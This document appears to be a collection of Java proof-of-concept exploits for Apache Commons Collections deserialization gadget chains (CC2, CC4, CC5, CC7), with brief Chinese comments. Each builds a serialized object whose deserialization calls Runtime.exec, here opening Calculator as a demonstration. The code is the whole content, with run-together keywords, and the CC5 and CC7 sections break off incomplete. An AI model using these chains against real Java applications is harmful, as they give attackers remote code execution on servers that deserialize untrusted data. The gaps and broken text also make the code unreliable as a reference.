publicclassCommonsCollections2{ publicstaticvoidmain(String[] args)throws Exception { ChainedTransformer chain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"}) }); TransformingComparator transformingComparator = new TransformingComparator(chain); PriorityQueue queue = new PriorityQueue(); queue.add(1); queue.add(1);
// 反射设置私有成员变量comparator为TransformingComparator对象 Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator"); field.setAccessible(true); field.set(queue, transformingComparator); // 序列化 ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc2")); oos.writeObject(queue); // 反序列化 ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc2")); ois.readObject(); } }
publicclassCommonsCollections4{ publicstaticvoidmain(String[] args)throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("cc4"); String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");"; cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); byte[] classBytecode = cc.toBytecode(); byte[][] classBytecodes = newbyte[][]{classBytecode}; TemplatesImpl templates = new TemplatesImpl(); Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); Field name = templates.getClass().getDeclaredField("_name"); Field tfactory = templates.getClass().getDeclaredField("_tfactory"); bytecodes.setAccessible(true); name.setAccessible(true); tfactory.setAccessible(true); bytecodes.set(templates, classBytecodes); name.set(templates, "test"); tfactory.set(templates, new TransformerFactoryImpl());
PriorityQueue queue = new PriorityQueue(); ChainedTransformer chain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) }); TransformingComparator transformingComparator = new TransformingComparator(chain); Field comparator = queue.getClass().getDeclaredField("comparator"); comparator.setAccessible(true); comparator.set(queue, transformingComparator); queue.add(1); queue.add(1);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc4")); oos.writeObject(queue);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc4")); ois.readObject(); } }
publicclassCommonsCollections5{ publicstaticvoidmain(String[] args)throws Exception { HashMap hashMap = new HashMap(); ChainedTransformer chain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"}) }); Map decorate = LazyMap.decorate(hashMap, chain); TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "111"); Class clz = Class.forName("javax.management.BadAttributeValueExpException"); BadAttributeValueExpException bavee = new BadAttributeValueExpException(111); Field val = clz.getDeclaredField("val"); val.setAccessible(true); val.set(bavee, tiedMapEntry);
// 序列化 ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc5")); oos.writeObject(bavee);
publicclassCommonsCollections7{ publicstaticvoidmain(String[] args)throws Exception { ChainedTransformer chain = new ChainedTransformer(new Transformer[]{}); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"}) }; Map innerMap1 = new HashMap(); Map innerMap2 = new HashMap();